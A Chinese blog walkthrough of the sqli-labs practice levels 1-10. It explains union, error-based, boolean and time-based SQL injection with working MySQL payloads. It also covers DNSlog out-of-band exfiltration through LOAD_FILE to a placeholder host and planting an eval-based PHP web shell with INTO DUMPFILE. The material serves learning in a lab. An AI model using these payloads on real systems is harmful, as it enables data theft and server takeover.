sqli-labs-master 过关 1-10 (附解题思路及各注入方法解析)

目录

第 1 关

第 2 关

第 3 关

第 4 关

第 5 关 

第 6 关

第 7 关 

第 8 关

第 9 关

第 10 关


第 1 关

                           联合查询注入(UNION query SQL injectio)

利用前提:页面上有显示位
优点:方便,快捷,易于利用
缺点:需要显示位

格式 :SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3 --%20
       SQL注入时默认输出第一行数据 ,保证第一行无数据(前面加-)则可输出第二行 或者用limit函数 

获取所有数据库名:
union select 1,2,group_concat(schema_name)  from information_schema.schemata --%20

获取指定数据库下所有表名:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = '库名' --%20

获取指定表下所有字段名:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name = '表名' --%20
                                    常用SQL语句

1. SELECT USER(),SYSTEM_USER(),CURRENT_USER(),SESSION_USER();
  -- 当前用户名及对应主机查询 函数值相同 可在特定函数被过滤的情况下用其他函数替换,以达到相同的目的
2. SELECT DATABASE(); -- 当前数据库名查询
3. SELECT VERSION();  -- 版本号查询
4. SELECT @@version;  -- 版本号查询
5. SELECT @@basedir;  -- 数据库根目录
6. SELECT @@datadir;  -- mysql文件存放目录 该目录下1库对应1文件夹,1表对应3文件
7. SELECT @@version_compile_os; -- 操作系统


特殊用法:
SELECT * FROM users /*!22222 where id = 1*/;
	-- 当MySQL当前版本号大于五位数时,注释会失效,此时只输出id=1的内容
SELECT * FROM users /*!88888 where id = 1*/;
	-- 显示所有内容
SELECT VERSION(); -- 查看MySQL当前版本 
    注:5.5.53--55530
                                        常用函数

CONCAT(str1,str2,...)   -- 拼接字符串
SELECT CONCAT('hello','world') ;

CONCAT_WS(连接符,str1,str2,...)  -- 自定义字符连接
SELECT CONCAT_WS('-','hello','world');

GROUP_CONCAT()  -- 把多个结果合并为一组数据输出
SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.`SCHEMATA`;

ASCII('字符')  -- 返回对应字符的ASCII码       
SELECT ASCII('a');
SELECT ASCII('你好');  -- 多字符只会打印第一个字符的ASCII码
  

ORD('a')  -- 返回字符串第一个字符的ASCII码  
SELECT ORD('a');
SELECT ORD('你好');

MID(字符串(str),起始位置(pos),长度(len))  -- 返回指定字符
SELECT MID('hello',2,3);     -- MySQL字符从1开始 其余语法大多从0开始

SUBSTR(str,pos,len)   -- 返回指定字符长度
SUBSTR(str,pos)
SUBSTR(str FROM pos)
SUBSTR(str\nstr FROM pos FOR len)
SELECT SUBSTR('hello',2,3);
SELECT SUBSTR('hello',2);
SELECT SUBSTR('hello' FROM 2);
SELECT SUBSTR('hello' FROM 2 FOR 3);

LENGTH(字符串);   -- 返回字符串字节长度
SELECT LENGTH('hello');
SELECT LENGTH('你好');   -- 汉字3字节

CHAR_LENGTH(字符串);  -- 返回字符串字符长度
SELECT CHAR_LENGTH('hello');
SELECT CHAR_LENGTH('你好');  

第 2 关

 第 3 关

第 4 关

第 5 关 

                        报错注入(Error-based SQL injection)

利用前提:在没有回显或回显不可控的情况下(页面上有没有显示位无所谓),但是需要输出SQL语句执行错误信        
         息,例如:mysqli_error()

优点:不需要显示位
缺点:需要输出例如mysqli_error()的报错信息
                                报错注入 之 通过floor报错

1. AND (SELECT COUNT(*) FROM information_schema.`TABLES` GROUP BY CONCAT((payload),FLOOR(RAND(0)*2)));
        

2. AND (SELECT 1 FROM(SELECT COUNT(),CONCAT((SELECT(SELECT(payload)) FROM information_schema.`TABLES` LIMIT 0,1),FLOOR(RAND(0)2))X FROM information_schema.`TABLES` GROUP BY X)a);

注意:查询时用 group_concat()会出问题 尽量换用 limit 语句
     payload:想查询的SQL语句
                            报错注入 之 通过ExtractValue报错
函数解释:
		extractxalue():从目标XML中返回包含查询值的字符串
		extractxalue(XML_document,XPath_string);
		第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc
		第二个参数:XPath_string(XPath格式的字符串)
		concat返回结果为连续参数产生的字符串

AND EXTRACTVALUE(1,(CONCAT(0x7e,(payload),0x7e)));
AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT@@version),0x7e));

注意:会从第一个特殊字符开始显示错误
      0x7e:~
      尽量避免 ' " 的使用,用16进制转换  
      函数输出结果最多为32个字符 用字符串截取解决该问题
                               报错注入 之 通过updateXML报错

函数格式:UPDATEXML(xml_target,xpath_expr,new_xml)

注入:AND UPDATEXML(1,(payload),1)

示例:AND UPDATEXML(1,(CONCAT(0x7e,(SELECT USER()),0x7e)),1);

用法:用法与 ExtractValue 类似

第 6 关

第 7 关 

                 bool(布尔)注入 (Boolean-based blind SQL injection)

应用场景:页面上没有显示位,也没有输出SQL语句执行错误信息
		 只能通过页面返回是否正常判断

优点:不需要显示位,不需要出错信息
缺点:速度慢,耗费大量时间

SELECT * FROM users WHERE id=1 AND ASCII(SUBSTR(USER(),1,1)) > ASCII码值(65-122:A-z)
注:采用二分法可大幅提高速率

SELECT * FROM users WHERE id=1 AND USER() REGEXP 'root@';   -- regexp:包含	

由于布尔注入速度慢,需要耗费大量时间,故可以采用其他方法,例如DNSlog外带注入

步骤
1. 使用DNSlog获取根目录
   LOAD_FILE(CONCAT('\\\\',(SUBSTR(HEX(@@basedir),1,60)),'.DNSlog网址\abc'))

   也可以使用DNSlog直接获取数据库信息
2. 注入后门
    UNION SELECT '','','<?php @eval($_POST[1]) ?>' INTO DUMPFILE '绝对路径/test.php'
    注意:路径中的 \ 要全部换为 /
3. 用蚁剑连接


注: 
    1. 一般只有root用户有权限使用 load_file 函数
    2. 路径中 \ 变 /  
       原因:\ 默认转义符
    3. 可以把绝对路径转换为16进制 去掉'' 避免字符过滤
    4. MySQL/Date目录下的可以不需要绝对路径
    5. SELECT '写入内容' INTO OUTFILE '绝对路径/test.txt'
              可以16进制               绝对路径 或 以Date为起始的相对路径 此处不能用16进制
                            DNSlog外带注入

    不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能获取数据库中的值,在现代WAF的防护下
很可能导致IP被ban。我们可以利用内置函数load_file()来完成DNSlog。
    load_file()不仅能加载本地文件,同时也能对诸如 \\www.test.com 这样的URL发起请求。

示例:SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(payload)),'.DNSlog获取的网址\\abc'));
    注意:每次最多取63字节
         DNSlog网址前的 . 必不可少

上文已获知字符串需要使用 ')) 闭合 ,故不再重复

 BurpSuite安装:(28条消息) BurpSuite 2020.8 安装及代理配置_源十三的博客-CSDN博客 

 

 

 第 8 关

 也可以参照第 7 关 使用DNSlog外带等注入 

 第 9 关

 

                 基于时间的注入(延时注入)(Time-based blind SQl injection)

1. Time-based blind SQL injection
2.利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但
           是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。
3.优点:不需要显示位,不需要报错信息。
4.缺点:速度慢,耗费大量时间
5.用法:IF(Condition,A,B)函数
       当Condition为TRUE时,返回A;否则返回B。     
6.示例:	SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);       

可以结合DNSlog外带注入,可大幅节省时间
SELECT *  FROM users WHERE id='1' AND LOAD_FILE(CONCAT('\\\\',(SUBSTR(HEX(@@basedir),1,60)),'.DNSlog域名\\abc')) --%20

SELECT *  FROM users WHERE id='1' AND IF(ASCII(SUBSTR(USER(),1,1))=114 ,LOAD_FILE(CONCAT('\\\\',(SELECT HEX(USER())),'.DNSlog域名\\abc')),1) --%20

 

第 10 关

后续步骤与第 9 关完全一致 

  • 6
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值